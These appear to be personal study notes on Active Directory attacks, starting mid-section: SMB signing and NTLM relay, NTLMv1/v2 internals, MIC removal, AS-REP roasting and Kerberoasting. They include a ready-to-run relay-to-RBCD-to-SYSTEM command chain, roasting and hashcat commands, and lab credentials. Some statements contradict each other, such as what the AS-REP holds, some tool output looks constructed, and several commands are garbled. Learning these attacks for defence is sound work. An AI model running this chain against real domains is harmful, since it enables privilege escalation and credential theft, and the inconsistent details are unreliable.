Signature = HMAC(SessionKey, SMB Packet)
🧩 Example
Victim sends:
"TreeConnect \\DC\IPC$"
Signature:
HMAC(SessionKey, "TreeConnect packet")
🧩 Server verifies
Recompute HMAC → compare
✔ Match → accept
❌ Mismatch → reject
🧠 5. Why attacker cannot sign
Because attacker does NOT know:
NT hash ❌
Session Key ❌
👉 So cannot compute:
HMAC(SessionKey, Packet)
🧠 🎯 Scenario (Focused)
Victim (TARGET MACHINE) → Attacker (ntlmrelayx) → Target (DC or server with SMB signing REQUIRED)
👉 You are relaying to SMB (not LDAP)
⚙️ 1. Start Relay (your setup)
ntlmrelayx.py-t smb://192.168.1.10-smb2support
🔁 2. Victim connects (coerced or natural)
Example trigger:
coercer.py -t 192.168.1.20 -l 192.168.1.100
📦 3. ntlmrelayx Output (Authentication Phase)
[*] SMB connection from 192.168.1.20 (WIN10)
[*] Relaying connection to smb://192.168.1.10
[*] Authenticating against smb://192.168.1.10 as DOMAIN\ADMIN$
[+] Authentication SUCCESS
🧠 Up to here
✔ Relay worked
✔ NTLM authentication succeeded
✔ SMB session established
🔥 4. What ntlmrelayx tries next (IMPORTANT)
After login, it tries to use that session:
Typical actions:
1. TreeConnect → \\TARGET\IPC$
2. Open named pipe (svcctl)
3. Create service
4. Execute command
❌ 5. FAILURE Output (Realistic)
[-] SMB SessionError: STATUS_ACCESS_DENIED
[-] SMB Signing is required, but session is not properly signed
[-] Could not execute command on target
OR sometimes:
[-] SMB SessionError: STATUS_INVALID_PARAMETER
[-] The message signature is invalid
🧠 6. WHY EXACTLY IT FAILS (Deep Dive)
🔐 Step 1: After Authentication
Target (DC) enforces:
"SMB Signing = REQUIRED"
👉 Means:
Every SMB packet MUST include valid signature
🔑 Step 2: Session Key Creation
After NTLM auth:
📦 Step 3: ntlmrelayx sends next packet
Example:
SMB2 TREE_CONNECT (\\TARGET\IPC$)
❗ Required format:
[SMB Header][Data][Signature]
Where:
Signature = HMAC(SessionKey, Packet)
💥 Step 4: What ntlmrelayx sends
Since attacker doesn’t know session key:
Signature = INVALID / ZERO / WRONG
🔍 Step 5: Target validates
Target computes:
ExpectedSignature = HMAC(SessionKey, Packet)
Then compares:
Expected ≠ Received
❌ Step 6: Immediate rejection
Target response:
STATUS_ACCESS_DENIED
STATUS_INVALID_SIGNATURE
👉 Connection dies here
🔬 Packet-Level Thinking
✅ Legit flow (Victim → Target)
Victim:
Signature = HMAC(SessionKey, Packet)
Target:
Recompute → MATCH ✅
❌ Relay flow (Attacker → Target)
Attacker:
Signature = ??? (no key)
Target:
Recompute → MISMATCH ❌
⚠️ 7. Important Clarification
❓ “Why can’t we just forward victim packets?”
👉 ❌ Because:
Victim is talking to YOU (attacker), not target
You must generate new SMB packets (TreeConnect, Exec)
👉 Those require signing → you fail
🔥 8. Where exactly ntlmrelayx breaks
👉 Breakdown:
💻 9. Real Tool Behavior (What ntlmrelayx internally does)
After auth:
SMBConnection.login()
↓
SMBConnection.tree_connect()
↓
SMBConnection.openFile()
↓
SMBConnection.createService()
👉 FAIL occurs at:
tree_connect()
📦 10. Debug-style Output (Closer to reality)
[*] Authenticating as DOMAIN\ADMIN$
[+] Authentication successful
[*] Attempting to connect to IPC$
[-] SMB SessionError: STATUS_ACCESS_DENIED
[*] Signing required but session key not available
[*] Aborting attack
🧠 11. Core Reason (Final Understanding)
👉 NTLM relay gives you:
✔ Identity (authentication)
BUT SMB signing requires:
❌ Proof of session key ownership
🔥 Final Mental Model
Auth Phase:
Victim proves identity → relay works
Post-auth:
Server demands signed packets → attacker fails
💥 One-line Memory
👉 “Relay gets you in, signing stops you from doing anything inside.”
Understanding NTML WorkFlow
🔐 1. What is NTLM?
NTLM (New Technology LAN Manager) is a Windows authentication protocol used when:
Kerberos is not available
Legacy systems are involved
Authentication is done over protocols like SMB, HTTP, LDAP
👉 It is a challenge–response authentication protocol
👉 It does NOT send the password over the network
✔ Introduced by Microsoft (1993)
✔ Still widely used → hence still abused
🧠 2. Core Idea of NTLM
Instead of sending a password:
Client proves identity using a hash-derived response
Server verifies it without knowing the password directly
👉 Goal: prevent replay attacks (not relay attacks!)
🔁 3. NTLM Authentication Flow (Step-by-Step)
This is VERY IMPORTANT — everything in relay depends on this.
🧩 Entities
Client → user machine (victim)
Server → target service
DC → validates credentials (if domain account)
🔄 3-Step NTLM Handshake
🟢 Step 1 — NEGOTIATE (Type 1)
Client → Server
“Hey, I want to authenticate”
Sends:
- Supported features (signing, encryption, etc.)
- Capabilities
👉 No credentials yet
🟡 Step 2 — CHALLENGE (Type 2)
Server → Client
- Sends:
- Random 8-byte challenge (nonce)
- Server capabilities
👉 This is the key anti-replay mechanism
🔴 Step 3 — AUTHENTICATE (Type 3)
Client → Server
- Client:
- Takes password → converts to NT hash
- Uses challenge + hash → generates response
- Sends:
- Username
- Response (NOT password)
✅ Final Validation
- Server:
- Validates response using:
- Local SAM (local account)
- Domain Controller (domain account)
- Validates response using:
✔ If valid → authentication successful
🧠 Key Insight (VERY IMPORTANT)
👉 Server never sees the password
👉 It only verifies the challenge-response
➡️ This is EXACTLY why relay attacks work later.
🔴 NTLMv1 (OLD / WEAK)
⚙️ How it works (Detailed Internals)
Uses:
NT Hash = MD4(Unicode(password))
DES encryption
🔄 Step-by-Step Internal Process
- Password → NT Hash
- Algorithm: MD4
- Input: Unicode(password)
- Output: 16-byte NT hash
- Pad NT Hash to 21 bytes
- Add 5 bytes of
0x00 - Result → 21 bytes
- Add 5 bytes of
- Split into 3 keys
- Each key = 7 bytes
Key1 | Key2 | Key3
- Convert each 7-byte key → 8-byte DES key
- Add parity bits (DES requirement)
- Encrypt Server Challenge
Algorithm: DES
Operation:
DES(Key1, Challenge) DES(Key2, Challenge) DES(Key3, Challenge)
- Combine outputs
Each DES output = 8 bytes
Final:
8 + 8 + 8 = 24 bytes
👉 This becomes the NTLMv1 Response
🧠 What your diagram shows (mapped clearly)
Password → NT Hash (MD4)
NT Hash → split into 3 keys
Each key encrypts the same challenge
Outputs combined → final response
❌ Problems (Why it’s broken)
DES is weak (56-bit key)
Same challenge → predictable patterns
No randomness from client
No salting
🧠 “Add 5 bytes of 0x00” — what does it actually mean?
You start with:
NT Hash = 16 bytes
👉 This comes from:
MD4(password) → 128 bits → 16 bytes
❓ Why padding is needed?
NTLMv1 needs:
3 DES keys
Each DES key is derived from 7 bytes
So:
3 × 7 bytes = 21 bytes required
But we only have:
16 bytes (NT hash)
✅ Solution → Padding
We extend it:
16 bytes (real hash) + 5 bytes (00 00 00 00 00)
= 21 bytes total
👉 These extra 5 bytes are just zeros (null bytes)
👉 They do NOT add security — just filling space
🔍 Visual
[16 bytes NT hash] + [00 00 00 00 00]
= 21 bytes
🧠 Now the IMPORTANT part → DES key confusion
You asked:
DES is 56-bit, but you said 8 bytes (64-bit) → how?
🔐 DES Key Structure (Critical Concept)
DES key is 8 bytes (64 bits)
BUT:
👉 Only 56 bits are actual key
👉 Remaining 8 bits = parity bits
📌 So internally:
7 bytes (56 bits) → real key material
+ 1 parity bit per byte → total 8 bytes
👉 That’s why:
7-byte input → converted → 8-byte DES key
🔄 Conversion step
Each 7-byte chunk becomes:
7 bytes → expanded → 8 bytes (with parity bits)
💥 Attack Impact
Can brute-force each DES block separately
Enables:
- NT hash recovery
- Pass-the-Hash
- Offline cracking
🟡 NTLMv2 (MODERN)
⚙️ How it works (Detailed Internals)
Uses:
NT Hash = MD4(password)
HMAC-MD5 (keyed hashing)
Adds:
- Client challenge
- Timestamp
- Target info (AV pairs)
🔄 Step-by-Step Internal Process
1. Password → NT Hash
Algorithm: MD4
Same as NTLMv1
2. Create NTLMv2 Key
NTLMv2 Key = HMAC-MD5(NT Hash, Username + Domain)
👉 This binds authentication to user identity
3. Build “Blob” (Important)
Contains:
Client Challenge (random)
Timestamp
Target info (server details)
Reserved fields
👉 This is the “Additional Info” in your diagram
4. Compute NTProofStr
NTProofStr = HMAC-MD5(NTLMv2 Key, Server Challenge + Blob)
5. Final NTLMv2 Response
NTLMv2 Response = NTProofStr + Blob
🧠 What your diagram shows (mapped clearly)
Password → NT Hash → NTLMv2 Key
Server Challenge + Additional Info (Blob)
HMAC-MD5 applied
Output:
- NTProofStr
- Blob
🔐 Security Benefits (Why stronger)
Uses HMAC-MD5 (keyed, not plain hash)
Includes:
- Timestamp → prevents replay
- Client challenge → randomness
- Target info → binding
⚠️ Important Reality
Even though crypto is strong:
👉 Authentication is still relayable
Because:
No mutual authentication
No binding to channel (unless protections like signing are enforced)
🟠 NTLM2 Session (Intermediate)
⚙️ How it works
- Still uses:
- NT Hash (MD4)
- DES
- Adds:
- Client nonce
🔄 Process (simplified)
Client generates nonce
Combines:
MD5(Server Challenge + Client Nonce)Result used as DES challenge
❌ Problem
Still relies on DES
Not as secure as NTLMv2
🔍 5. NTLMv1 vs NTLMv2 (Enhanced Comparison)
🧠 6. Critical Concepts You MUST Remember
🔑 1. Authentication ≠ Password
- Uses:
- NT Hash (MD4)
- Crypto transformation (DES / HMAC-MD5)
🔑 2. NT Hash = Real Secret
NT Hash = MD4(password)
👉 If attacker gets this:
Pass-the-Hash possible
Full authentication possible
🔑 3. NTLM is Challenge-Response
Server → Challenge (random)
Client → Response:
- NTLMv1 → DES-based
- NTLMv2 → HMAC-MD5-based
🔑 4. Designed to stop REPLAY — not RELAY
- Replay blocked via:
- Challenge
- Timestamp (v2)
❗ But:
👉 No protection against man-in-the-middle forwarding
🔥 7. Why This Matters for NTLM Relay
💡 Core Weakness
- Server does NOT verify:
- Who generated the response
- Whether connection is original
⚔️ What attacker does
- Forwards:
- Challenge → victim
- Response → target
🚨 Important Insight
- Attacker NEVER:
- Knows password
- Knows NT hash
- Breaks crypto
👉 Just relays valid authentication
🧠 Final Mental Model (Refined)
Think in crypto terms:
Server:
Give me HMAC/Encrypted proof using your secretClient:
Here is proof (DES/HMAC-MD5 output)
😈 Attacker:
Doesn’t compute anything
Just pipes:
Server → Challenge → Victim
Victim → Response → Target
➡️ Target verifies crypto → accepts attacker as victim
🧠 Final Mental Model (Enhanced with Keywords)
👤 Client (User Machine)
👉 “I know the password, so I’ll prove it without sending it”
- Takes password → creates:
- NT Hash (MD4)
- Uses:
- NTLMv2 Key (HMAC-MD5)
- Server Challenge
- Blob (client challenge + timestamp + target info)
👉 Sends:
Username
NTLMv2 Response (NTProofStr + Blob)
✔ No password sent
✔ No NT hash sent
🖥️ Server (Service / Domain Member)
👉 “Let me verify this proof using my stored secret”
🔍 Important correction
❌ Server does NOT get NT hash from blob
✔ Server already has access to NT hash via:
Local account → SAM database
Domain account → Domain Controller (Active Directory)
🔄 What server actually does
Gets NT hash:
- From SAM DB (local)
- Or queries Domain Controller
Recomputes:
NTLMv2 Key = HMAC-MD5(NT Hash, Username + Domain) NTProofStr = HMAC-MD5(NTLMv2 Key, Server Challenge + Blob)Compares:
- Client response vs computed response
✅ If valid:
👉 Server creates:
- Authenticated session
🔄 Full Verification Logic
Server computes:
NTLMv2 Key = HMAC-MD5(NT Hash, Username + Domain)
Expected Response =
HMAC-MD5(NTLMv2 Key, Server Challenge + Blob)
🔍 Then compares:
Expected Response == Client’s NTProofStr ?
Understanding NTML Relay WorkFlow
🧠 1. SMB Signing — What & Why
🔐 Concept
👉 SMB Signing = integrity protection for SMB packets
Adds a cryptographic signature to each SMB message
Ensures:
- Message not modified
- Sender is trusted
⚙️ How it works (important)
During NTLM authentication:
Client & Server negotiate:
"Do we use signing?"If enabled:
- A session key is derived from NTLM auth
- All SMB packets are signed using that key
🧠 Both derive Session Key
After authentication:
👉 BOTH sides compute:
Session Key = Function(NT Hash, NTLM Response, Challenge, etc.)
✔ Client computes it
✔ Server computes it
👉 Same input → Same key
❗ KEY POINT
👉 The Session Key is NEVER transmitted
Not in packets
Not encrypted
Not shared
👉 It is locally derived on both sides
🔥 Key Behavior
If NOT required → attacker can relay
If REQUIRED → relay fails
📊 Modes
💥 Important
👉 SMB signing protects:
- Session integrity
❌ NOT:
- Authentication phase
👉 That’s the gap attackers abuse
🧠 2. MIC (Message Integrity Code)
🔐 Concept
👉 MIC = protects NTLM authentication messages
- Prevents:
- Tampering NTLM messages
- Changing flags (like signing)
⚙️ Where it exists
- Only in:
- NTLMv2
- Not in:
- NTLMv1 ❌
🧠 What it protects
Negotiation flags
Challenge-response messages
🔥 Why MIC matters
Without MIC:
👉 Attacker could:
Remove "signing required" flag
With MIC:
👉 Server detects tampering → blocks attack
⚔️ 3. Attack Goal (SMB Relay Perspective)
Attacker wants:
👉 Relay NTLM auth → SMB target
BUT:
👉 SMB signing blocks it
💀 4. How Attacker Bypasses (Core Logic)
🧩 Scenario Types
🔴 Case 1 — SMB Signing NOT Required
✅ Easy Attack
Conditions:
SMB signing = disabled OR not required
Victim authenticates
Attack Flow
Victim → attacker (SMB auth)
Attacker → target (relay)
Target accepts → no signing enforced
💥 Result
👉 Attacker gets SMB session as victim
🟡 Case 2 — SMB Signing Required
👉 Attack FAILS normally
Because:
Server expects signed packets
Attacker cannot sign (no session key)
🔴 Case 3 — MIC Removal Attack (Advanced)
👉 This is where your –remove-mic question comes
🧠 5. MIC Removal (VERY IMPORTANT)
🔐 Problem
MIC prevents:
Modifying NTLM messages
Removing signing flags
💀 Solution (Attacker)
👉 Use vulnerabilities like:
CVE-2019-1040
CVE-2019-1166
⚙️ What -remove-mic does
👉 It:
Removes MIC from NTLM message
Removes signing requirement flags
Replays modified authentication
🧠 Result
👉 Turns:
Secure authentication → insecure
👉 Enables:
Cross-protocol relay
SMB → LDAP
SMB → SMB (bypass signing)
⚠️ Important
- Works only if:
- Target is vulnerable/unpatched
- OR NTLMv1 is used (no MIC)
NTLM + RBCD
🧠 🎯 Scenario (Realistic Setup)
🖥️ Environment
🔥 🎯 Goal
👉 No creds → get SYSTEM on TARGET machine
Using:
Coercer → ntlmrelayx → LDAP → RBCD → Kerberos → SYSTEM
⚙️ 🧩 Initial Foothold (Important)
You need ANY one of these:
Network access to domain
Ability to reach victim over SMB/RPC
No credentials required ❗
👉 This is why NTLM relay is powerful
🔁 ⚔️ Attack Flow Overview
1. Coerce victim → force NTLM auth
2. ntlmrelayx receives auth
3. Relay to LDAP (DC)
4. Create machine + set RBCD
5. Use Kerberos to impersonate Administrator
6. Get SYSTEM shell
💻 🔥 Step-by-Step Execution
🧨 Step 1: Start ntlmrelayx (NO responder needed)
ntlmrelayx.py -t ldap://192.168.1.10 --delegate-access --remove-mic
🧠 What this does:
Listens for SMB/HTTP auth
Relays to LDAP
Auto:
- Creates machine
- Sets RBCD
🎯 Step 2: Coerce authentication
Use Coercer:
coercer.py -t 192.168.1.20 -l 192.168.1.100
Where:
t= victiml= attacker (you)
🔁 What happens now
Victim → SMB → Attacker (ntlmrelayx) → LDAP → DC
📦 Step 3: ntlmrelayx output
[*] SMB connection from 192.168.1.20
[*] Relaying to ldap://192.168.1.10
[*] Authentication successful as DOMAIN\VICTIM$
[*] Adding computer account ATTACKER-PC$
[*] Successfully added machine account
[*] Delegation rights modified successfully!
🧠 🔥 What Just Happened (Important)
✔ Victim authenticated
✔ You relayed it
✔ LDAP trusted you
✔ You:
Created fake machine
Gave it delegation rights
🔑 Step 4: Abuse RBCD (Kerberos Phase)
Now use:
getST.py -spn cifs/TARGET.domain.local -impersonate Administrator domain.local/ATTACKER-PC$:Password123
[*] Getting ST for user Administrator
[*] Saving ticket in Administrator.ccache
🧨 Step 5: Get SYSTEM shell
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass TARGET.domain.local
[*] Logged in as NT AUTHORITY\SYSTEM
🔥 ⚠️ Key Clarifications (Your Doubts)
❓ Do we need Responder?
👉 ❌ NO (in this attack)
👉 Since you force auth, no need to poison
❓ Why Coercer works?
👉 Uses RPC abuse to trigger:
SMB auth
HTTP auth
Examples:
MS-EFSRPC (PetitPotam)
PrinterBug
DFSCoerce
❓ Why LDAP is used?
👉 Because:
Allows object modification
Enables:
- RBCD
- ACL abuse
- Shadow creds
🔥 🧠 Full Mental Model
[Coercer] → forces auth
↓
[ntlmrelayx] → relays auth
↓
[LDAP] → executes privileged action
↓
[RBCD] → gives impersonation
↓
[Kerberos] → SYSTEM access
🔥 Real-World Conditions Required
🧠 Final One-Liner
👉 “Force auth → relay to LDAP → write AD → abuse Kerberos → SYSTEM”
AS-REP Roasting
✅ What AS‑REP Roasting Actually Abuses (Correct Mental Model)
AS‑REP Roasting abuses Kerberos Step 2 (AS‑REP) in a domain like Microsoft Active Directory when pre‑authentication is disabled for a user.
🔥 What normally happens in Step 2 (AS‑REP)
KDC sends back:
TGT → encrypted with KDC’s secret key (attacker can’t read this)
Encrypted session key → encrypted with user’s long‑term key (derived from password)
AS-REP = {
Encrypted_TGT, // encrypted with KDC secret
Encrypted_For_User = Encrypt(UserKey, logon_session_key)
}
🚨 What AS‑REP Roasting Abuses
When Kerberos pre‑authentication is disabled for a user:
❌ KDC does NOT require proof that the requester knows the password
❌ Anyone can request AS‑REP for that username
✅ KDC still returns:
Encrypted_For_User = Encrypt(UserKey, logon_session_key)
🎯 Key Point
❌ Attacker does NOT extract the TGT
❌ Attacker does NOT extract the user password hash directly
✅ Attacker extracts the encrypted session key blob from AS‑REP
✅ That blob is encrypted using the user’s password‑derived key
This encrypted blob is what the attacker cracks offline.
What Happens When Pre‑Auth is Disabled
- Normally, when a user requests a TGT (AS‑REQ), the KDC requires pre-authentication, meaning the client proves knowledge of their password.
- If correct → KDC issues TGT.
- If incorrect → request denied.
- If pre-auth is disabled, the KDC does not require the user to prove their password.
- You just send the username → KDC returns AS‑REP (TGT) encrypted with the user’s NTLM hash.
- No password, no authentication is needed.
Key Point
The AS‑REP you receive is not the plaintext password, it’s the ticket encrypted with the user’s hash.
You can save this ticket and crack it offline using a wordlist or brute-force attack.
🔥 AS-REP Roasting — What It Exploits
AS‑REP Roasting exploits users who have “Do not require Kerberos pre authentication” enabled.
This is a misconfiguration, not a Kerberos bug.
🚨 Why Pre‑Authentication Exists
Normally, the Kerberos workflow starts with:
1. Client → KDC: AS‑REQ
User sends their username + timestamp encrypted with their password hash.
This proves you know your password.
2. KDC → Client: AS‑REP
KDC verifies the encrypted timestamp using your password hash.
If valid → gives you a TGT.
❌ When Pre‑Authentication Is Disabled
If the AD user has the flag:
Do not require Kerberos pre authentication
Then:
The user does NOT need to prove their identity.
Any attacker can request an AS‑REP for that username.
The KDC will simply return a TGT encrypted with the user’s NTLM hash.
And THAT encrypted blob is what the attacker cracks offline.
🚀 AS-REP Roasting Attack Flow
Step 1 — Attacker Enumerates Users with Pre-Auth Disabled
Using Impacket:
GetNPUsers.py domain/ -dc-ip X.X.X.X
Or PowerShell:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
These users are often:
old service accounts
rarely used accounts
misconfigured test accounts
Step 2 — Attacker Requests AS‑REP for That User
Even without knowing the password, attacker can request an AS‑REP:
GetNPUsers.py domain.com/username -request
KDC returns:
- AS‑REP encrypted with user’s NTLM hash
Hash format looks like:
$krb5asrep$23$user@DOMAIN.COM:....
Step 3 — Attacker Offline-Cracks the Hash
Using hashcat:
hashcat -m 18200 hash.txt wordlist.txt
If password is weak, attacker extracts it.
🔍 Why AS‑REP Roasting Works
Because:
No authentication is required.
KDC returns a TGT encrypted using user’s NTLM hash.
Attacker brute-forces the encrypted blob offline.
No domain logon events, no lockouts.
🔥 Kerberoasting vs AS‑REP Roasting (Interview Table)
🧠 Interview Short Answer
AS-REP Roasting targets AD accounts with “Do not require Kerberos preauthentication” enabled. The attacker requests an AS‑REP for that user without knowing the password. The KDC sends an AS‑REP encrypted using the user’s NTLM hash, and the attacker cracks it offline to recover the password. It’s similar to Kerberoasting but doesn’t require domain authentication and targets user accounts, not SPN-linked service accounts.
Kerberoasting
Understanding The Core Concept
✅ What is Kerberoasting
Kerberoasting is an Active Directory attack technique where an attacker enumerates service accounts configured with Service Principal Names (SPNs), requests encrypted Ticket Granting Service (TGS) tickets on their behalf, and then cracks those tickets offline to extract plaintext service account credentials
✅ What Kerberoasting Actually Exploits
Kerberoasting does NOT exploit a bug in Kerberos.
It exploits a design weakness:
Service accounts use weak passwords, and their Kerberos TGS service tickets (encrypted with the service account’s NTLM hash) can be requested by any authenticated domain user.
So the “exploit” is basically abusing normal Kerberos behavior.
✅ How Kerberoasting Works (Step‑by‑Step, With Logic)
Pre‑conditions
Attacker has a valid domain account (any low‑priv user).
There are service accounts registered with SPNs.
Those service accounts have weak or guessable passwords.
🔄 Step 1 — Attacker Enumerates SPNs
The attacker uses any of these:
GetUserSPNs.pyGetSPNUsers.ps1setspn -Q *
This gives you a list like:
Logic:
Kerberos must associate each service with an account, so these SPN accounts are service accounts.
🔄 Step 2 — Attacker Requests a TGS Ticket for That SPN
Any normal domain user can request a TGS (Ticket‑Granting Service) ticket for any SPN.
Command (example with Impacket):
GetUserSPNs.py domain/user:pass -request
What happens internally:
You ask the KDC (TGS) for a ticket to
HTTP/web.domain.com.The KDC creates a TGS and encrypts the service ticket using the NTLM hash of the service account (example: websvc’s password hash).
KDC returns this encrypted blob (TGS) to you.
⚠️ Core Point: Why This Works
👉 The TGS ticket is encrypted with the service account’s NTLM hash.
👉 So if you crack the encrypted ticket, you recover the hash → then the password.
This is exactly why we say:
Kerberoasting gets you the service account’s NTLM hash inside the TGS.
🔄 Step 3 — Attacker Extracts the Ticket (Hash Material)
Tools extract the ticket into a crackable hash format, ex:
$krb5tgs$23$*svc_account$DOMAIN.COM$HTTP/web.domain.com:*...
This is equivalent to a Kerberos TGS‑REP hash (similar in spirit to NetNTLMv2 hashes).
🔄 Step 4 — Offline Brute‑Force / Dictionary Attack
Using hashcat:
hashcat -m 13100 kerberoast_hashes.txt wordlist.txt
If the service account has a weak password like:
Summer2023!
You crack it.
Why offline cracking helps:
No lockouts
No detection from AD
Unlimited cracking speed
Service accounts often have non‑rotating passwords
Usually privileged
Finally — What You Gain
Once cracked, you get:
✔ Service account NTLM hash
✔ Service account plaintext password
✔ Often high privileges (SQL, backup, domain join, sometimes domain admin)
This now allows:
SMB login
WinRM/RDP
SQL admin
Lateral movement
Privilege escalation
✅ Short Interview‑Ready Answer
Kerberoasting abuses a design flaw in Kerberos where TGS service tickets are encrypted using the service account’s NTLM hash.
A normal domain user can request TGS tickets for any SPN, extract the encrypted part, and offline-bruteforce it to recover the service account password. The attack works because the encryption uses the password hash, service accounts often have weak passwords, and ticket cracking happens offline without detection.
Example
Step 1 – User logs in
alice enters username + password
Kerberos derives UserKey = KDF(alice_password)
The KDC also knows Alice’s password (stored as derived keys).
Step 2 – User gets a TGT
KDC encrypts TGT using UserKey
alice decrypts TGT using UserKey
Now Alice has a TGT.
Step 3 – User requests TGS for a service
alice (with TGT) → KDC: request TGS for MSSQLSvc/DB01
Step 4 – KDC builds the service ticket
The KDC constructs:
Service Ticket:
Client = alice@corp.local
Service = MSSQLSvc/DB01
SessionKey = K_session
Validity = 10:00–20:00
Step 5 – KDC encrypts the TGS with the service account’s key
ServiceKey = KDF(sqlsvc_password)
EncryptedTGS = Encrypt(ServiceTicket, ServiceKey)
This encrypted blob is what attackers extract for Kerberoasting.
Step 6 – Service verifies the ticket
SQL Service derives ServiceKey from sqlsvc_password
Decrypt(EncryptedTGS, ServiceKey)
✔ Success → ticket valid
✘ Fail → reject
3️⃣ What Attackers Actually Steal
Attackers do not steal a raw hash.
They steal:
🔐 The encrypted service ticket
(which is protected by the service account’s password-derived key)
This encrypted blob is what gets cracked offline.
4️⃣ How Hashcat Cracks Kerberoast (Conceptual Example)
Offline cracking tools (like hashcat) don’t “reverse the encryption.”
They do password guessing + verification.
Here’s the logic:
Attacker already has:
EncryptedTGS = Encrypt(ServiceTicket, KDF(sqlsvc_password))
Hashcat tries guesses:
Guess1 = "Password123"
Key1 = KDF("Password123")
Try decrypt EncryptedTGS with Key1
→ Decryption fails
Guess2 = "Summer2024!"
Key2 = KDF("Summer2024!")
Try decrypt EncryptedTGS with Key2
→ Decryption succeeds
→ Password found
How does hashcat know it “succeeded”?
Because Kerberos tickets have a known internal structure and checksum.
If the decrypted data matches the expected format, the guess is correct.
5️⃣ Full Mental Model (One Flow)
User password → UserKey
Service password → ServiceKey
TGT encrypted with UserKey
TGS encrypted with ServiceKey
Attacker extracts encrypted TGS
Attacker guesses passwords → derives keys → tries decrypt
Correct password = successful decryption
How Tool Extracts Hash from TGS
2️⃣ What do tools like GetSPNUsers actually extract?
Tools (e.g., GetSPNUsers / similar Kerberoasting collectors) don’t “steal the password.”
They:
Ask the KDC for a TGS for a service
Receive a service ticket
Extract the encrypted portion of that ticket
Convert it into a format that offline crackers understand
So yes — they extract the encrypted blob derived from the service account’s secret.
Important nuance:
You are cracking the Kerberos ticket encryption, not a raw NTLM hash dump.
3️⃣ What are $23 and $18? (Hash Types Explained)
These $23 and $18 are hash formats used by offline cracking tools to identify Kerberos encryption types.
🔐 $23 – Kerberos RC4-HMAC (NTLM-based key)
Older / legacy encryption
Key derived from the NTLM hash of the service account password
Very crackable if the password is weak
Common in older domains or when RC4 is allowed
Mental model:
$23= Kerberos ticket encrypted using NTLM-based RC4 key
This is why $23 Kerberoasting is often very fast to crack.
🔐 $18 – Kerberos AES256-CTS-HMAC-SHA1
Modern Kerberos encryption
Stronger crypto
Still crackable offline, but much slower
Common in newer domains with AES enabled
Mental model:
$18= Kerberos ticket encrypted using AES-256 derived from the service account password
So $18 is harder to crack, but still vulnerable if the password is weak.
4️⃣ How do we know if it’s $23 or $18?
The encryption type is chosen by the KDC based on:
Domain functional level
Kerberos policies
What encryption types the service account supports
What the client requests
When attackers request a TGS, the returned ticket is in a specific encryption type.
The Kerberoasting tool then formats it like:
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/DB01:1433*$HEXDATA...
or
$krb5tgs$18$*svc_sql$CORP.LOCAL$MSSQLSvc/DB01:1433*$HEXDATA...
The $23 or $18 tells the cracker which Kerberos crypto was used.
So:
$23→ RC4-HMAC Kerberos ticket$18→ AES256 Kerberos ticket
How Kdc Encrypts TGS & How Attacks Exploits
2️⃣ Step-by-Step: How KDC Issues the TGS (Service Ticket)
Step 2.1 – Client has a TGT
alice → KDC: login
KDC → alice: TGT
TGT proves Alice is authenticated.
Step 2.2 – Client requests TGS for the service
Alice asks:
“Give me a service ticket for MSSQLSvc/DB01.corp.local:1433”
alice (with TGT) → KDC: TGS request for MSSQLSvc/DB01
Step 2.3 – KDC builds the TGS (what’s inside)
The service ticket (TGS) contains:
Client identity:
alice@corp.localService identity:
MSSQLSvc/DB01.corp.local:1433Timestamp + validity window
Session key (for client ↔︎ service communication)
Flags (forwardable, renewable, etc.)
Think of it like:
{
Client: alice@corp.local
Service: MSSQLSvc/DB01.corp.local:1433
ValidFrom: 10:00
ValidUntil: 20:00
SessionKey: K_session
}
Step 2.4 – KDC encrypts the TGS with the service account secret
This whole structure is encrypted using:
🔐 The Kerberos key derived from CORP’s password
Encrypt(TGS, KerberosKey(sqlsvc_password))
So only the **real SQL service running as CORP* can decrypt it.
Then the KDC sends this encrypted blob back to Alice:
KDC → alice: Encrypted TGS (service ticket)
3️⃣ How the Service Verifies the TGS
Now Alice connects to SQL Server:
alice → SQL Service: TGS
The SQL service:
Takes the encrypted TGS
Derives its own Kerberos key from its password
Tries to decrypt the TGS
If decryption succeeds:
- Ticket is valid
- Alice is authenticated
If decryption fails:
- Ticket is rejected
Decrypt(TGS, KerberosKey(sqlsvc_password))
✔ success → accept user
✘ fail → reject user
This is exactly why Kerberoasting works.
Mitigation
🔐 Core Mitigations (Most Effective First)
✅ 1️⃣ Use gMSA for services (kills Kerberoasting in practice)
Group Managed Service Accounts (gMSA) use:
Long, random, auto-rotated passwords
Not known by humans
Not reused
Result:
Even if attackers Kerberoast the ticket, offline cracking becomes unrealistic.
👉 This is the single best mitigation.
✅ 2️⃣ Enforce long, random passwords on service accounts
If you must use classic service accounts:
Minimum guidance:
30+ characters
Random (not dictionary-based)
No reuse across services
Rotate periodically
Kerberoasting dies on strong entropy.
✅ 3️⃣ Reduce service account privileges
Service accounts should:
NOT be Domain Admins
NOT be local admin everywhere
Only have the minimum rights needed
So even if cracked, blast radius is small.
✅ 4️⃣ Remove unnecessary SPNs
Audit SPNs:
Remove stale / unused SPNs
Remove SPNs tied to old services
Ensure SPNs belong to the correct account
Fewer SPNs = fewer roastable targets.
✅ 5️⃣ Prefer modern Kerberos crypto (Disable RC4 where possible)
Legacy RC4 (Kerberoasting $23) cracks fast.
Harden Kerberos:
Prefer AES128 / AES256
Disable RC4 where compatibility allows
Raise domain functional level if possible
This doesn’t prevent Kerberoasting, but it massively increases crack time.
PoC
Windows
Step 1 - login to rdp
xfreerdp /u:htb-student /p:‘Academy_student_AD!’ /v:10.129.234.199 /cert-ignore /bpp:8 /network:modem /compression -themes -wallpaper /clipboard /audio-mode:1 /auto-reconnect -glyph-cache /dynamic-resolution
Step 2 - run setspn to get all the spn account
setspn.exe -Q /
Step 3 - Loads the .NET assembly needed for Kerberos classes
Add-Type -AssemblyName System.IdentityModel
Step 4 - Triggers a TGS request for the given SPN using your current TGT
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “ vmware/inlanefreight.local”
Step 5 - import powerview module
Import-Module ..ps1
Step 6 - get the samaccountname of all the spn
Get-DomainUser * -spn | select samaccountname
Step 7 - Get the tsg of service account in hashcat format
Get-DomainUser -Identity svc_vmwaresso | Get-DomainSPNTicket -Format Hashcat
Step 8 - crack it using hashcat
Linux
Step 1 - login using ssh
Step 2 - list all the service principal names ( SPN )
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
Klmcargo2
Step 3 - request TSG for SAPService
